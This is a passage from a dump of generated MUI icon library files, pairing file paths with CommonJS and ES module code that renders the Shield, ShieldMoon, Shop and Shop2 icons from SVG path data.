    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.01 14.33c1.75 2.17 5.12 2.24 6.96.07.23-.27.08-.68-.26-.74-1.29-.21-2.48-.98-3.18-2.2-.71-1.22-.78-2.63-.32-3.86.12-.33-.16-.66-.51-.6-3.34.62-4.89 4.61-2.69 7.33\"\n}, \"1\")], 'ShieldMoonOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldMoonRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.3 2.26-6 2.25C4.52 4.81 4 5.55 4 6.39v4.7c0 4.83 3.13 9.37 7.43 10.75.37.12.77.12 1.14 0 4.3-1.38 7.43-5.91 7.43-10.75v-4.7c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.18-.95-.18-1.4-.01m4.67 12.15c-1.84 2.17-5.21 2.1-6.96-.07-2.19-2.72-.65-6.72 2.69-7.33.34-.06.63.27.51.6-.46 1.23-.39 2.64.32 3.86s1.89 1.99 3.18 2.2c.34.05.49.47.26.74\"\n}), 'ShieldMoonRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldMoonRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.3 2.26-6 2.25C4.52 4.81 4 5.55 4 6.39v4.7c0 4.83 3.13 9.37 7.43 10.75.37.12.77.12 1.14 0 4.3-1.38 7.43-5.91 7.43-10.75v-4.7c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.18-.95-.18-1.4-.01m4.67 12.15c-1.84 2.17-5.21 2.1-6.96-.07-2.19-2.72-.65-6.72 2.69-7.33.34-.06.63.27.51.6-.46 1.23-.39 2.64.32 3.86s1.89 1.99 3.18 2.2c.34.05.49.47.26.74\"\n}), 'ShieldMoonRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldMoonSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm3.97 12.41c-1.84 2.17-5.21 2.1-6.96-.07-2.19-2.72-.65-6.72 2.69-7.33.34-.06.63.27.51.6-.46 1.23-.39 2.64.32 3.86s1.89 1.99 3.18 2.2c.34.05.49.47.26.74\"\n}), 'ShieldMoonSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldMoonSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm3.97 12.41c-1.84 2.17-5.21 2.1-6.96-.07-2.19-2.72-.65-6.72 2.69-7.33.34-.06.63.27.51.6-.46 1.23-.39 2.64.32 3.86s1.89 1.99 3.18 2.2c.34.05.49.47.26.74\"\n}), 'ShieldMoonSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldMoonTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6.39v4.7c0 4 2.55 7.7 6 8.83 3.45-1.13 6-4.82 6-8.83v-4.7l-6-2.25zm6.21 1.22c-.46 1.23-.39 2.64.32 3.86s1.89 1.99 3.18 2.2c.34.06.49.47.26.74-1.84 2.17-5.21 2.1-6.96-.07-2.19-2.72-.65-6.72 2.69-7.33.34-.06.63.27.51.6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.01 14.33c1.75 2.17 5.12 2.24 6.96.07.23-.27.08-.68-.26-.74-1.29-.21-2.48-.98-3.18-2.2-.71-1.22-.78-2.63-.32-3.86.12-.33-.16-.66-.51-.6-3.34.62-4.89 4.61-2.69 7.33\"\n}, \"2\")], 'ShieldMoonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldMoonTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6.39v4.7c0 4 2.55 7.7 6 8.83 3.45-1.13 6-4.82 6-8.83v-4.7l-6-2.25zm6.21 1.22c-.46 1.23-.39 2.64.32 3.86s1.89 1.99 3.18 2.2c.34.06.49.47.26.74-1.84 2.17-5.21 2.1-6.96-.07-2.19-2.72-.65-6.72 2.69-7.33.34-.06.63.27.51.6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.01 14.33c1.75 2.17 5.12 2.24 6.96.07.23-.27.08-.68-.26-.74-1.29-.21-2.48-.98-3.18-2.2-.71-1.22-.78-2.63-.32-3.86.12-.33-.16-.66-.51-.6-3.34.62-4.89 4.61-2.69 7.33\"\n}, \"2\")], 'ShieldMoonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25z\"\n}), 'ShieldOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25z\"\n}), 'ShieldOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.3 2.26-6 2.25C4.52 4.81 4 5.55 4 6.39v4.7c0 4.83 3.13 9.37 7.43 10.75.37.12.77.12 1.14 0 4.3-1.38 7.43-5.91 7.43-10.75v-4.7c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.18-.95-.18-1.4-.01\"\n}), 'ShieldRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.3 2.26-6 2.25C4.52 4.81 4 5.55 4 6.39v4.7c0 4.83 3.13 9.37 7.43 10.75.37.12.77.12 1.14 0 4.3-1.38 7.43-5.91 7.43-10.75v-4.7c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.18-.95-.18-1.4-.01\"\n}), 'ShieldRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5z\"\n}), 'ShieldSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5z\"\n}), 'ShieldSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6.39v4.7c0 4 2.55 7.7 6 8.83 3.45-1.13 6-4.82 6-8.83v-4.7l-6-2.25z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25z\"\n}, \"1\")], 'ShieldTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6.39v4.7c0 4 2.55 7.7 6 8.83 3.45-1.13 6-4.82 6-8.83v-4.7l-6-2.25z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25z\"\n}, \"1\")], 'ShieldTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shop.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 6V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H2v13c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6zm-6-2h4v2h-4zM9 18V9l7.5 4z\"\n}), 'Shop');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shop.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 6V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H2v13c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6zm-6-2h4v2h-4zM9 18V9l7.5 4z\"\n}), 'Shop');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shop2.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9H1v11c0 1.11.89 2 2 2h16v-2H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 5V3c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H5v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2V5zm-6-2h4v2h-4zm0 12V8l5.5 3.5z\"\n}, \"1\")], 'Shop2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shop2.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9H1v11c0 1.11.89 2 2 2h16v-2H3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 5V3c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H5v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2V5zm-6-2h4v2h-4zm0 12V8l5.5 3.5z\"\n}, \"1\")], 'Shop2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shop2Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9H1v11c0 1.11.89 2 2 2h16v-2H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 5V3c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H5v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2V5zm-6-2h4v2h-4zm9 13H7V7h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8v7l5.5-3.5z\"\n}, \"2\")], 'Shop2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shop2Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9H1v11c0 1.11.89 2 2 2h16v-2H3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 5V3c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H5v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2V5zm-6-2h4v2h-4zm9 13H7V7h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8v7l5.5-3.5z\"\n}, \"2\")], 'Shop2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shop2Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 9c-.55 0-1 .45-1 1v10c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H3V10c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 5V3c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H5v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2V5zm-6-2h4v2h-4zm0 11.09V8.91c0-.39.44-.63.77-.42l4.07 2.59c.31.2.31.65 0 .84l-4.07 2.59c-.33.21-.77-.03-.77-.42\"\n}, \"1\")], 'Shop2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shop2Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 9c-.55 0-1 .45-1 1v10c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H3V10c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 5V3c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H5v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2V5zm-6-2h4v2h-4zm0 11.09V8.91c0-.39.44-.63.77-.42l4.07 2.59c.31.2.31.65 0 .84l-4.07 2.59c-.33.21-.77-.03-.77-.42\"\n}, \"1\")], 'Shop2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shop2Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9H1v13h18v-2H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 5V1h-8v4H5v13h18V5zm-6-2h4v2h-4zm0 12V8l5.5 3.5z\"\n}, \"1\")], 'Shop2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shop2Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9H1v13h18v-2H3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 5V1h-8v4H5v13h18V5zm-6-2h4v2h-4zm0 12V8l5.5 3.5z\"\n}, \"1\")], 'Shop2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shop2TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 16h14V7H7zm5-8 5.5 3.5L12 15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9H1v11c0 1.11.89 2 2 2h16v-2H3z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 5V3c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H5v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2V5zm-6-2h4v2h-4zm9 13H7V7h14z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8v7l5.5-3.5z\"\n}, \"3\")], 'Shop2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shop2TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 16h14V7H7zm5-8 5.5 3.5L12 15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9H1v11c0 1.11.89 2 2 2h16v-2H3z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 5V3c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H5v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2V5zm-6-2h4v2h-4zm9 13H7V7h14z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8v7l5.5-3.5z\"\n}, \"3\")], 'Shop2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 6V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H2v13c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6zm-6-2h4v2h-4zm10 15H4V8h16zM9 18l7.5-5L9 9z\"\n}), 'ShopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 6V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H2v13c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6zm-6-2h4v2h-4zm10 15H4V8h16zM9 18l7.5-5L9 9z\"\n}), 'ShopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 6V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zm-6-2h4v2h-4zM9 17.07V9.83c0-.38.4-.62.74-.44l6.03 3.21c.33.18.36.65.04.86l-6.03 4.02c-.33.22-.78-.01-.78-.41\"\n}), 'ShopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 6V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zm-6-2h4v2h-4zM9 17.07V9.83c0-.38.4-.62.74-.44l6.03 3.21c.33.18.36.65.04.86l-6.03 4.02c-.33.22-.78-.01-.78-.41\"\n}), 'ShopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 6V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H2v15h20V6zm-6-2h4v2h-4zM9 18V9l7.5 4z\"\n}), 'ShopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 6V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H2v15h20V6zm-6-2h4v2h-4zM9 18V9l7.5 4z\"\n}), 'ShopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopTwo.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9H1v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2H3zm15-4V3c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H5v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2V5zm-6-2h4v2h-4zm0 12V8l5.5 3z\"\n}), 'ShopTwo');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopTwo.mjs",
